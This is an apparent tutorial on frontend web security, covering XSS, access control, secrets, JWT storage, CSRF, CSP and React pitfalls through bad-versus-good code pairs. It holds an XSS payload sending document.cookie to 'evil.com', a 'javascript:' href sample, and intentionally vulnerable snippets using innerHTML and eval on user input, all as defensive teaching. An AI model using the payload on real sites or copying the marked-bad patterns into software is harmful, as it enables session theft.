Security Fundamentals · How it works

2 min read
Mid-level2 min read
Rapid overview

How it works


OWASP Top 10 for Frontend

Understanding how OWASP vulnerabilities manifest in frontend code is essential for building secure applications.

1. Cross-Site Scripting (XSS)

XSS is the most common frontend vulnerability. It occurs when untrusted data is included in web pages without proper validation or escaping.

Types of XSS

Reflected XSS: Malicious script from the current HTTP request

// ❌ Bad: URL parameter directly inserted into DOM
const searchTerm = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').innerHTML = `Results for: ${searchTerm}`;
// Attack: ?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>

Stored XSS: Malicious script stored on target server

// ❌ Bad: User comment rendered without sanitization
const comment = await fetchComment(id);
commentDiv.innerHTML = comment.text; // If comment contains <script>, it executes!

DOM-based XSS: Vulnerability exists in client-side code

// ❌ Bad: Using eval or Function constructor with user input
const userInput = location.hash.substring(1);
eval(userInput); // Extremely dangerous!

XSS Prevention

// ✅ Good: Use textContent for text (auto-escapes)
const searchTerm = new URLSearchParams(window.location.search).get('q');
document.getElementById('results').textContent = `Results for: ${searchTerm}`;

// ✅ Good: Use a sanitization library for HTML content
import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(userProvidedHtml);
element.innerHTML = cleanHtml;

// ✅ Good: React auto-escapes by default
function Comment({ text }) {
  return <p>{text}</p>; // Safe - React escapes this
}

// ⚠️ Caution: dangerouslySetInnerHTML requires sanitization
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}

2. Broken Access Control

Frontend must enforce access control even though backend validates too (defense in depth).

// ❌ Bad: Hiding UI doesn't prevent access
function AdminPanel() {
  const user = useUser();
  if (!user.isAdmin) return null; // Attacker can still call API directly!

  return <AdminDashboard />;
}

// ✅ Good: UI reflects backend authorization + backend enforces
function AdminPanel() {
  const user = useUser();
  const { data, error } = useQuery('/api/admin/dashboard');

  if (error?.status === 403) return <AccessDenied />;
  if (!user.isAdmin) return null;

  return <AdminDashboard data={data} />;
}

3. Sensitive Data Exposure

Never expose sensitive data in frontend code or client-side storage.

// ❌ Bad: API keys in frontend code
const API_KEY = 'sk_live_abc123'; // Anyone can see this!
fetch(`https://api.stripe.com/v1/charges`, {
  headers: { 'Authorization': `Bearer ${API_KEY}` }
});

// ✅ Good: Proxy through your backend
fetch('/api/payments/charge', {
  method: 'POST',
  body: JSON.stringify({ amount: 1000 })
});
// ❌ Bad: Storing sensitive data in localStorage
localStorage.setItem('creditCard', JSON.stringify(cardData));

// ✅ Good: Only store non-sensitive identifiers
sessionStorage.setItem('cartId', cartId);

4. Security Misconfiguration

// ❌ Bad: Exposing stack traces to users
try {
  await riskyOperation();
} catch (error) {
  showError(error.stack); // Reveals internal details
}

// ✅ Good: Generic user message, detailed logging
try {
  await riskyOperation();
} catch (error) {
  console.error('Operation failed:', error); // For developers
  showError('Something went wrong. Please try again.'); // For users
}

5. Cross-Site Request Forgery (CSRF)

CSRF tricks users into performing unintended actions on authenticated sites.

// ✅ Good: Include CSRF token with state-changing requests
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken
  },
  body: JSON.stringify({ to: account, amount: 100 })
});

// ✅ Good: Use SameSite cookies (backend config)
// Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

6. Insecure Dependencies

# Check for vulnerabilities
npm audit

# Fix vulnerabilities automatically where possible
npm audit fix

# Check specific package
npm audit --package-lock-only
// ✅ Good: Use lockfiles and review updates
// package-lock.json or yarn.lock should be committed

// ✅ Good: Use Dependabot or Snyk for automated alerts

Secrets and Credentials Management

Development Environment

Golden Rule: Never commit secrets to source control. Use environment variables.

Environment Variables (.env files)

# .env.local (gitignored!)
VITE_API_BASE_URL=http://localhost:3000
VITE_ANALYTICS_ID=UA-DEV-12345

# .env.production (can be committed - no secrets)
VITE_API_BASE_URL=https://api.myapp.com
// Vite
const apiUrl = import.meta.env.VITE_API_BASE_URL;

// Create React App
const apiUrl = process.env.REACT_APP_API_URL;

// Next.js
const apiUrl = process.env.NEXT_PUBLIC_API_URL;

Important: Environment variables prefixed with VITE_, REACT_APP_, or NEXT_PUBLIC_ are embedded in the build and visible to anyone. Never put secrets there!

What Can Go in Frontend Environment Variables

# ✅ Safe: Public configuration
VITE_API_BASE_URL=https://api.myapp.com
VITE_GOOGLE_ANALYTICS_ID=UA-123456789-1
VITE_SENTRY_DSN=https://abc@sentry.io/123
VITE_STRIPE_PUBLISHABLE_KEY=pk_live_xyz  # Publishable keys are designed to be public

# ❌ Never: Secret keys
VITE_STRIPE_SECRET_KEY=sk_live_abc  # NEVER - this is a secret!
VITE_DATABASE_URL=postgres://...     # NEVER - backend only
VITE_JWT_SECRET=...                  # NEVER - backend only

Production Environment

Build-Time Injection (CI/CD)

# GitHub Actions example
jobs:
  build:
    steps:
      - name: Build
        env:
          VITE_API_URL: ${{ vars.API_URL }}
          VITE_ANALYTICS_ID: ${{ vars.ANALYTICS_ID }}
        run: npm run build

Runtime Configuration (for dynamic config)

// config.js - loaded at runtime from server
window.__CONFIG__ = {
  apiUrl: '{{API_URL}}',  // Replaced by server/CDN
  analyticsId: '{{ANALYTICS_ID}}'
};

// Usage
const config = window.__CONFIG__ || {
  apiUrl: import.meta.env.VITE_API_BASE_URL
};

Handling API Keys

Public vs Secret Keys

TypeExampleCan Use in Frontend?
PublishableStripe pk_*, Google Maps API Key✅ Yes
SecretStripe sk_*, AWS Secret Key❌ Never
RestrictedAPI key with domain restriction✅ Yes, with restrictions

Restricting Public API Keys

// ✅ Good: Use API keys with restrictions
// - Google Maps: Restrict to your domains in Google Cloud Console
// - Stripe Publishable: Automatically restricted to your Stripe account

// ✅ Good: Proxy sensitive operations through backend
async function createPaymentIntent(amount) {
  // Don't call Stripe directly with secret key
  const response = await fetch('/api/payments/intent', {
    method: 'POST',
    body: JSON.stringify({ amount })
  });
  return response.json();
}

Token and Session Management

JWT Storage

// ❌ Bad: Storing JWT in localStorage (vulnerable to XSS)
localStorage.setItem('token', jwt);

// ✅ Better: HttpOnly cookie (set by backend)
// Frontend doesn't handle the token at all

// ✅ Alternative: In-memory storage (lost on refresh)
let accessToken = null;

function setToken(token) {
  accessToken = token;
}

function getToken() {
  return accessToken;
}

// Use refresh token (HttpOnly cookie) to get new access token
async function refreshAccessToken() {
  const response = await fetch('/api/auth/refresh', {
    method: 'POST',
    credentials: 'include' // Sends HttpOnly cookies
  });
  const { accessToken } = await response.json();
  setToken(accessToken);
}

Secure Authentication Flow

// ✅ Good: OAuth/OIDC flow with PKCE
import { createPKCECodes, exchangeCodeForToken } from './auth';

async function login() {
  const { codeVerifier, codeChallenge } = await createPKCECodes();
  sessionStorage.setItem('pkce_verifier', codeVerifier);

  const authUrl = new URL('https://auth.provider.com/authorize');
  authUrl.searchParams.set('response_type', 'code');
  authUrl.searchParams.set('client_id', CLIENT_ID);
  authUrl.searchParams.set('redirect_uri', REDIRECT_URI);
  authUrl.searchParams.set('code_challenge', codeChallenge);
  authUrl.searchParams.set('code_challenge_method', 'S256');

  window.location.href = authUrl.toString();
}

async function handleCallback(code) {
  const codeVerifier = sessionStorage.getItem('pkce_verifier');
  sessionStorage.removeItem('pkce_verifier');

  const tokens = await exchangeCodeForToken(code, codeVerifier);
  // Store tokens securely...
}

Input Validation and Sanitization

Client-Side Validation

// ✅ Good: Validate before sending to server (UX + defense in depth)
function validateEmail(email) {
  const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
  return emailRegex.test(email);
}

function validatePassword(password) {
  const errors = [];
  if (password.length < 12) errors.push('At least 12 characters');
  if (!/[A-Z]/.test(password)) errors.push('At least one uppercase letter');
  if (!/[a-z]/.test(password)) errors.push('At least one lowercase letter');
  if (!/[0-9]/.test(password)) errors.push('At least one number');
  if (!/[^A-Za-z0-9]/.test(password)) errors.push('At least one special character');
  return errors;
}

// Remember: Backend MUST also validate! Client validation is for UX only.

URL Validation

// ✅ Good: Validate URLs before using them
function isValidHttpUrl(string) {
  try {
    const url = new URL(string);
    return url.protocol === 'http:' || url.protocol === 'https:';
  } catch {
    return false;
  }
}

// ✅ Good: Allowlist for redirects
const ALLOWED_REDIRECT_HOSTS = ['myapp.com', 'auth.myapp.com'];

function safeRedirect(url) {
  try {
    const parsed = new URL(url, window.location.origin);
    if (ALLOWED_REDIRECT_HOSTS.includes(parsed.hostname)) {
      window.location.href = parsed.toString();
    } else {
      window.location.href = '/';
    }
  } catch {
    window.location.href = '/';
  }
}

Content Security Policy (CSP)

CSP prevents XSS by controlling what resources can load.

<!-- ✅ Good: Strict CSP -->
<meta http-equiv="Content-Security-Policy" content="
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.myapp.com;
  font-src 'self';
  frame-ancestors 'none';
">
// Working with strict CSP in React/Vue

// ❌ Bad: Inline event handlers (blocked by CSP)
<button onclick="handleClick()">Click</button>

// ✅ Good: Event listeners
<button id="myBtn">Click</button>
<script>
  document.getElementById('myBtn').addEventListener('click', handleClick);
</script>

// ✅ Good: React/Vue (no inline handlers in output)
<button onClick={handleClick}>Click</button>

Secure Communication

HTTPS Only

// ✅ Good: Enforce HTTPS in service worker
self.addEventListener('fetch', (event) => {
  const url = new URL(event.request.url);

  // Redirect HTTP to HTTPS
  if (url.protocol === 'http:' && url.hostname !== 'localhost') {
    url.protocol = 'https:';
    event.respondWith(Response.redirect(url.toString(), 301));
    return;
  }

  // ... handle request
});

Secure Fetch Requests

// ✅ Good: Secure fetch configuration
async function securePost(url, data) {
  const response = await fetch(url, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-Requested-With': 'XMLHttpRequest' // Helps prevent CSRF
    },
    credentials: 'same-origin', // Only send cookies to same origin
    body: JSON.stringify(data)
  });

  if (!response.ok) {
    throw new Error(`HTTP ${response.status}`);
  }

  return response.json();
}

React-Specific Security

// ❌ Bad: dangerouslySetInnerHTML without sanitization
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// ✅ Good: Sanitize before rendering
import DOMPurify from 'dompurify';

function Comment({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
    ALLOWED_ATTR: ['href']
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ✅ Good: Use markdown renderer with sanitization
import ReactMarkdown from 'react-markdown';

function Comment({ markdown }) {
  return <ReactMarkdown>{markdown}</ReactMarkdown>;
}

Avoiding href javascript:

// ❌ Bad: User-controlled href can execute JavaScript
function UserLink({ url, text }) {
  return <a href={url}>{text}</a>; // url could be "javascript:alert('xss')"
}

// ✅ Good: Validate URL protocol
function UserLink({ url, text }) {
  const safeUrl = /^https?:\/\//i.test(url) ? url : '#';
  return <a href={safeUrl}>{text}</a>;
}

Security Checklist

  • [ ] All user input sanitized before DOM insertion
  • [ ] Using textContent instead of innerHTML where possible
  • [ ] DOMPurify or similar for any HTML rendering
  • [ ] No secrets in frontend code or environment variables
  • [ ] API keys restricted by domain where possible
  • [ ] HTTPS enforced for all requests
  • [ ] Tokens stored securely (HttpOnly cookies or memory)
  • [ ] CSRF protection implemented
  • [ ] CSP headers configured
  • [ ] Dependencies regularly audited (npm audit)
  • [ ] Error messages don't expose sensitive information
  • [ ] URL validation before redirects
  • [ ] No eval() or new Function() with user input

See also